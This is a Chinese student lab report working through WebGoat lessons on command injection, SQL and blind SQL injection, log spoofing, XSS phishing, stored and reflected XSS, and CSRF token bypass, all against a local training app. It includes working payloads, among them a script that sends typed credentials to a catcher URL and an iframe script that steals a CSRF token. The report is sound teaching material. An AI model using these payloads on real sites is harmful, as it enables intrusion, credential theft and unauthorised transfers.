2018-2019-2 20165330《网络对抗技术》Exp9 Web安全基础
- 基礎(chǔ)問題
- 實(shí)驗(yàn)?zāi)康?/li>
- 實(shí)驗(yàn)內(nèi)容
- 實(shí)驗(yàn)步驟
- 實(shí)驗(yàn)總結(jié)與體會(huì)
實(shí)驗(yàn)內(nèi)容
- WebGoat準(zhǔn)備工作
- SQL注入攻擊
- 命令注入(Command Injection)
- 數(shù)字型SQL注入(Numeric SQL Injection)
- 日志欺騙(Log Spoofing)
- 字符串型注入(String SQL Injection)
- LAB: SQL Injection
- 數(shù)據(jù)庫后門(Database Backdoors)
- 數(shù)字型盲注入(Blind Numeric SQL Injection)
- 字符串型盲注入(Blind String SQL Injection)
- XSS攻擊
- Phishing with XSS 跨站腳本釣魚攻擊
- Stored XSS Attacks 存儲(chǔ)型XSS攻擊
- Reflected XSS Attacks 反射型XSS攻擊
- CSRF攻擊
- Cross Site Request Forgery(CSRF)
- CSRF Prompt By-Pass
- CSRF Token By-Pass
返回目錄
基礎(chǔ)問題
SQL注入攻擊原理,如何防御
- SQL注入攻擊指的是通過構(gòu)建特殊的輸入作為參數(shù)傳入Web應(yīng)用程序,而這些輸入大都是SQL語法里的一些組合,通過執(zhí)行SQL語句進(jìn)而執(zhí)行攻擊者所要的操作。如通過在用戶名、密碼登輸入框中輸入一些',--,#等特殊字符,實(shí)現(xiàn)引號(hào)閉合、注釋部分SQL語句,利用永真式實(shí)現(xiàn)登錄、顯示信息等目的。
- 防御:
- 檢查變量數(shù)據(jù)類型和格式
- 對(duì)無法確定固定格式的變量,進(jìn)行特殊符號(hào)過濾或轉(zhuǎn)義處理
- 綁定變量,使用預(yù)編譯語句
XSS攻擊的原理,如何防御
- 全稱為跨站腳本攻擊,是一種網(wǎng)站應(yīng)用程序的安全漏洞攻擊。攻擊者通過往Web頁面里插入惡意html標(biāo)簽或者javascript代碼,當(dāng)用戶瀏覽該頁或者進(jìn)行某些操作時(shí),利用用戶對(duì)原網(wǎng)站的信任,誘騙用戶或?yàn)g覽器執(zhí)行一些不安全的操作或者向其它網(wǎng)站提交用戶的私密信息。
- 防御:
- 在表單提交或者url參數(shù)傳遞前,對(duì)需要的參數(shù)進(jìn)行過濾
- 檢查用戶輸入的內(nèi)容中是否有非法內(nèi)容
CSRF攻擊原理,如何防御
- 全程為跨站域請(qǐng)求偽造,攻擊者借用用戶的身份,向web server發(fā)送請(qǐng)求,因?yàn)樵撜?qǐng)求不是用戶本意,所以稱為“跨站請(qǐng)求偽造”。CSRF攻擊中的那個(gè)“偽造的請(qǐng)求”的URL地址,一般是通過XSS攻擊來注入到服務(wù)器中的。所以其實(shí)CSRF可以看做是XSS攻擊的一種。
- CSRF的攻擊分為兩步,首先要注入惡意URL地址,然后在該地址中寫入攻擊代碼,利用<img>等標(biāo)簽或者使用Javascript腳本。
- 防御:
- 通過referer、token或者驗(yàn)證碼來檢測用戶提交
- 盡量不要在頁面的鏈接中暴露用戶隱私信息,對(duì)于用戶修改刪除等操作最好都使用post操作
- 避免全站通用的cookie,嚴(yán)格設(shè)置cookie的域
返回目錄
實(shí)驗(yàn)步驟 一、WebGoat準(zhǔn)備工作
WebGoat是OWASP組織研制出的用于進(jìn)行web漏洞實(shí)驗(yàn)的應(yīng)用平臺(tái),用來說明web應(yīng)用中存在的安全漏洞。其運(yùn)行在帶有java虛擬機(jī)的平臺(tái)之上,并提供了一系列web安全學(xué)習(xí)的教程,來指導(dǎo)用戶利用這些漏洞進(jìn)行攻擊。
- 下載jar包:webgoat-container-7.0.1-war-exec.jar
這個(gè)下載好慢。。遲遲下不下來的我下載了webgoat-container-7.0-SNAPSHOT-war-exec.jar也是可以進(jìn)行后續(xù)實(shí)驗(yàn)的!! - 終止占用8080端口的其他進(jìn)程
- 因?yàn)閃ebGoat默認(rèn)使用8080端口
- 先查看8080端口是否被占用:netstat -tupln | grep 8080
- 如果被占用,用kill 進(jìn)程號(hào)或kill -s 9 進(jìn)程號(hào)終止占用8080端口的進(jìn)程
- 查看是否安裝有JDK:java -version查看jdk版本
- 開啟WebGoat:java -jar webgoat-container-7.0-SNAPSHOT-war-exec.jar
- 在看到信息Starting ProtocolHandler ["http-bio-8080"]這一條消息之后就可以進(jìn)行下一步了~
- 瀏覽器中打開WebGoat登錄界面:http://localhost:8080/WebGoat(在界面里我們可以看到給出了兩組用戶名和密碼,可以直接使用登陸)
- 成功登錄后可在左側(cè)看到實(shí)踐課程
1. 命令注入(Command Injection)
目標(biāo):能夠在目標(biāo)主機(jī)上執(zhí)行任何系統(tǒng)命令
- 點(diǎn)擊Injection Flaws-Command Injection
- 右鍵點(diǎn)擊復(fù)選框,選擇inspect Element審查網(wǎng)頁元素對(duì)源代碼進(jìn)行修改,在末尾添加"& netstat -an & ipconfig"
- 點(diǎn)擊view,可查看到命令執(zhí)行結(jié)果
- 正常的結(jié)果是這樣的
2. 數(shù)字型SQL注入(Numeric SQL Injection)
目標(biāo):顯示天氣情況
- 點(diǎn)擊Injection Flaws-Numeric SQL Injection
- 右鍵點(diǎn)擊復(fù)選框,選擇inspect Element審查網(wǎng)頁元素對(duì)源代碼value="101"進(jìn)行修改,在城市編號(hào)101后面添加or 1=1
- 點(diǎn)擊Go,可以看到攻擊成功
左上角的符號(hào)表明做對(duì)了~
3. 日志欺騙(Log Spoofing)
目標(biāo):使用戶名為admin的用戶在日志中顯示成功登錄
- 點(diǎn)擊Injection Flaws-Log Spoofing
- 在User Name中填入webgoat%0d%0aLogin Succeeded for username: admin,利用回車0D%和換行符%0A讓其在日志中兩行顯示
- 輸入密碼后點(diǎn)擊Login,可以看到webgoat在Login Fail那行顯示,我們自己添加的語句在下一行顯示
- 此外,攻擊者可以向日志文件中添加惡意腳本,腳本的返回信息管理員能夠通過瀏覽器看到。
- 在用戶名中輸入admin <script>alert(document.cookie)</script>,管理員可以看到彈窗的cookie信息
4. 字符串型注入(String SQL Injection)
目標(biāo):基于查詢語句構(gòu)造自己的SQL 注入字符串將所有信用卡信息顯示出來。
- 點(diǎn)擊Injection Flaws-String SQL Injection
- 輸入查詢的用戶名Smith' or 1=1--
- 操作中我們使用了'提前閉合"",插入永真式1=1,且--注釋掉后面的內(nèi)容,這樣就能select表里面的所有數(shù)據(jù)
- 結(jié)果如下:
5. LAB: SQL Injection
使用SQL注入繞過認(rèn)證。
- 在密碼框輸入' or 1=1 --,登錄失敗,會(huì)發(fā)現(xiàn)密碼只有一部分輸入,說明密碼長度有限制。
- 我們?cè)诿艽a框右鍵選擇inspect Element審查網(wǎng)頁元素對(duì)長度進(jìn)行修改
- 重新輸入' or 1=1 --,登錄成功
6. 數(shù)據(jù)庫后門(Database Backdoors)
數(shù)據(jù)庫通常作為一個(gè)Web應(yīng)用程序的后端來使用。此外,它也用來作為存儲(chǔ)的媒介。它也可以被用來作為存儲(chǔ)惡意活動(dòng)的地方,如觸發(fā)器。觸發(fā)器是在數(shù)據(jù)庫管理系統(tǒng)上調(diào)用另一個(gè)數(shù)據(jù)庫操作,如insert,select,update or delete。
攻擊者可以創(chuàng)建一個(gè)觸發(fā)器,該觸發(fā)器在創(chuàng)建新用戶時(shí),將每個(gè)新用戶的Email 地址設(shè)置為攻擊者的地址。
- 輸入101,得到該用戶的信息
可以發(fā)現(xiàn),輸入的語句沒有驗(yàn)證,很容易進(jìn)行 SQL 注入。 - 輸入注入語句101; update employee set salary=10000(這里執(zhí)行了兩個(gè)語句,中間需要用分號(hào)分隔)
- 設(shè)置觸發(fā)器:101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid
- 由于WebGoat 使用的是MySQL數(shù)據(jù)庫,不支持觸發(fā)器,因此該課程并不能在這里真正實(shí)現(xiàn)。
7. 數(shù)字型盲注入(Blind Numeric SQL Injection)
某些SQL注入是沒有明確返回信息的,只能通過條件的“真”和“假”進(jìn)行判斷。攻擊者必須充分利用查詢語句,構(gòu)造子查詢語句。
- 服務(wù)端頁面返回的信息只有兩種:帳號(hào)有效或無效。因此無法簡單地查詢到帳號(hào)的PIN 數(shù)值。盡管如此,我們可以利用系統(tǒng)后臺(tái)在用的查詢語句:SELECT * FROM user_data WHERE userid=accountNumber;
- 如果該查詢語句返回了帳號(hào)的信息,頁面將提示帳號(hào)有效,否則提示無效。
使用AND函數(shù),我們可以添加一些額外的查詢條件。如果該查詢條件同樣為真,則返回結(jié)果應(yīng)提示帳號(hào)有效,否則無效:
101 AND 1=1 101 AND 1=2` 第一個(gè)語句中,兩個(gè)條件都成立,所以頁面返回Account number is valid;而第二條則返回帳號(hào)無效- 現(xiàn)在針對(duì)查詢語句的后半部分構(gòu)造復(fù)雜語句。下面的語句可以告訴我們PIN數(shù)值是否大于10000:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
- 如果頁面提示帳號(hào)有效,說明PIN>10000 否則 PIN<=10000
- 不斷調(diào)整數(shù)值,可以縮小判斷范圍,并最終判斷出PIN 數(shù)值的大小。最終如下語句返回帳號(hào)有效:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );
在查詢框中輸入2364并提交
8. 字符串型盲注入(Blind String SQL Injection)
目標(biāo):找到pins表中cc_number字段值為4321432143214321的記錄中pin字段的數(shù)值。pin字段類型為varchar。輸入找到的數(shù)值(最終的字符串,注意拼寫和大寫)并提交。
- 這里我們查詢的字段是一個(gè)字符串而不是數(shù)值,與上一節(jié)類似我們同樣可以通過注入的方式查找到該字段的值:101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );
(該語句使用了SUBSTRING 方法,取得pin 字段數(shù)值的第一個(gè)字母,并判斷其是否比字母“H”小。) - 經(jīng)過多次測試(比較0-9A-Za-z等字符串)和頁面的返回?cái)?shù)據(jù),判斷出第一個(gè)字符為J。同理繼續(xù)判斷第二個(gè)字符:101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) < 'h' );
- 最終,判斷出pin字段的值為Jill,提交該值。
1. Phishing with XSS 跨站腳本釣魚攻擊
在XSS的幫助下,我們可以實(shí)現(xiàn)釣魚工具或向某些官方頁面中增加內(nèi)容。對(duì)于受害者來說很難發(fā)現(xiàn)該內(nèi)容是否存在威脅。目標(biāo)是創(chuàng)建一個(gè)form,要求填寫用戶名和密碼。
一個(gè)帶用戶名和密碼輸入框的表格如下:
<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>- 在XSS-Phishing with XSS搜索上面代碼,可以看到頁面中增加了一個(gè)表單
現(xiàn)在我們需要一段腳本:
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script>- 這段代碼會(huì)讀取我們?cè)诒韱紊陷斎氲挠脩裘兔艽a信息,將這些信息發(fā)送給捕獲這些信息的WebGoat。
將上面兩段代碼合并搜索
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script> <form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> <input type="submit" name="login" value="login" onclick="hack()"> </form><br><br><HR>我們?cè)谒阉鞯降谋韱沃休斎胗脩裘兔艽a,點(diǎn)擊登錄,WebGoat會(huì)將輸入的信息捕獲并反饋給我們。
2. Stored XSS Attacks 存儲(chǔ)型XSS攻擊
目標(biāo):創(chuàng)建非法的消息內(nèi)容,可以導(dǎo)致其他用戶訪問時(shí)載入非預(yù)期的頁面或內(nèi)容。
- 在Message中構(gòu)造語句<script>alert("20165330 attack succeed!");</script>,Title任意輸入。提交后可發(fā)現(xiàn)剛創(chuàng)建的帖子5330。
- 點(diǎn)擊5330,然后會(huì)彈出一個(gè)對(duì)話框,證明XSS攻擊成功。
3. Reflected XSS Attacks 反射型XSS攻擊
XSS反射型攻擊,惡意代碼并沒有保存在目標(biāo)網(wǎng)站,通過引誘用戶點(diǎn)擊一個(gè)鏈接到目標(biāo)網(wǎng)站的惡意鏈接來實(shí)施攻擊的。
- 在Enter your three digit access code:中輸入<script>alert("I am 20165330");</script>點(diǎn)擊Purchase,成功顯示警告框,內(nèi)容為我們script腳本指定的內(nèi)容。
- 若我們輸入上一課程的腳本,其原理相同,也會(huì)成功。
1. Cross Site Request Forgery(CSRF)
CSRF通過偽裝來自受信任用戶的請(qǐng)求來利用受信任的網(wǎng)站。目標(biāo):向一個(gè)新聞組發(fā)送一封郵件,郵件中包含一張圖片,這個(gè)圖像的URL指向一個(gè)惡意請(qǐng)求。
- 點(diǎn)擊XSS-Cross Site Request Forgery(CSRF)
- 查看頁面右下方Parameters中的src和menu值,我的分別為309和900
- 在Message框中輸入<img src="http://localhost:8080/WebGoat/attack?Screen=309&menu=900&transferFunds=5000" width="1" height="1" />,以圖片的的形式將URL放進(jìn)Message框,這時(shí)的URL對(duì)其他用戶是不可見的,用戶一旦點(diǎn)擊圖片,就會(huì)觸發(fā)一個(gè)CSRF事件,點(diǎn)擊Submit提交(其中語句中的&transferFunds=5000,即轉(zhuǎn)走的受害人的金額;寬高設(shè)置成1像素的目的是隱藏該圖片)
- 輸入任意Title,提交后,在Message List中生成以Title命名的鏈接(消息)。點(diǎn)擊該消息,當(dāng)前頁面就會(huì)下載這個(gè)消息并顯示出來,轉(zhuǎn)走用戶的5000元,從而達(dá)到CSRF攻擊的目的。
2. CSRF Prompt By-Pass
- 點(diǎn)擊XSS-CSRF Prompt By-Pass
同上面的攻擊,查看頁面右下方的Parameters中的src和menu值,我的分別為320和900,并輸入任意的Title,message框中輸入代碼
<iframe src="attack?Screen=320&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=320&menu=900&transferFunds=CONFIRM"> </iframe>點(diǎn)擊Submit生成以Title命名的鏈接,點(diǎn)擊鏈接,攻擊成功
3. CSRF Token By-Pass
目標(biāo)是向包含惡意轉(zhuǎn)賬請(qǐng)求的新聞組發(fā)送電子郵件。要成功完成,需要獲取有效的請(qǐng)求令牌。顯示轉(zhuǎn)賬表單的頁面包含有效的請(qǐng)求令牌。轉(zhuǎn)賬頁面的URL是“攻擊”servlet,帶有本課的“屏幕”和“菜單”查詢參數(shù)以及額外的參數(shù)“transferFunds=main”。加載此頁面,讀取令牌并將令牌附加到偽造的請(qǐng)求中,以轉(zhuǎn)移資金
- 點(diǎn)擊XSS-CSRF Token By-Pass
- 查看網(wǎng)頁http://local host:8080/WebGoat/attack?Screen=728&menu=900&transferFunds=main生成的資金轉(zhuǎn)賬頁面的表單內(nèi)容。
- 右鍵查看源代碼,可以看到Token參數(shù)
<form accept-charset='UNKNOWN' id='transferForm' method='POST' action='#attack/728/900' enctype='application/x-www-form-urlencoded'> <input name='transferFunds' type='text' value='0'> <input name='CSRFToken' type='hidden' value='79375628'> <input type='submit'> </form> 結(jié)合上面的token值構(gòu)造偽造的URL,附加轉(zhuǎn)賬參數(shù)4000。下面是我從網(wǎng)上教程中找到的一段代碼,通過frame->forme的路徑可以讀取并保存CSRFToken參數(shù):
<script> var tokenvalue; // Step 2 :竊取token function readFrame1() {var frameDoc = document.getElementById("frame1").contentDocument;var form = frameDoc.getElementsByTagName("form")[1];var token = form.CSRFToken.value;tokenvalue = '&CSRFToken='+token; loadFrame2(); } //Step 3 :結(jié)合token值構(gòu)造偽造的URL,附加轉(zhuǎn)賬參數(shù)4000 function loadFrame2() {var testFrame = document.getElementById("frame2");testFrame.src="?transferFunds=4000"+tokenvalue; } </script> <!-- Step 1 :給出的是正常的頁面,其實(shí)已經(jīng)加載了一個(gè)js腳本,來獲取token--> <iframe src="http://localhost:8080/WebGoat/attack?Screen=728&menu=900&transferFunds=main" onload="readFrame1();" id="frame1" frameborder="1" marginwidth="0" marginheight="0" width="800" scrolling=yes height="300"></iframe> <!-- Step 4 :將構(gòu)造的URL發(fā)送給Server并生效--> <iframe id="frame2" frameborder="1" marginwidth="0" marginheight="0" width="800" scrolling=yes height="300"></iframe>點(diǎn)擊Submit后查看以Title命名的鏈接
不知道為啥我的顯示是這樣的。。。
返回目錄
實(shí)驗(yàn)總結(jié)與體會(huì)
- 本次實(shí)踐都是在webgoat上完成,就類似以前接觸的實(shí)驗(yàn)樓,都有指導(dǎo),這也加深了我對(duì)XSS攻擊、SQL注入以及CSRF攻擊的理解。雖然一開始下載jar包就用了好久時(shí)間,但對(duì)于行不通的方法真的要好好找資料換其他可行的方法,實(shí)踐不止局限于課程中的指導(dǎo),不斷地查資料會(huì)讓自己了解的更全面!
參考資料
- Webgoat安裝
- 安裝使用WebGoat
- WebGoat中文手冊(cè)
轉(zhuǎn)載于:https://www.cnblogs.com/besty-zyx/p/10896709.html
《新程序員》:云原生和全面數(shù)字化實(shí)踐50位技術(shù)專家共同創(chuàng)作,文字、視頻、音頻交互閱讀總結(jié)
以上是生活随笔為你收集整理的2018-2019-2 20165330《网络对抗技术》Exp9 Web安全基础的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 深入解析阿里Android热修复技术原理
- 下一篇: 给自己看的flex布局方法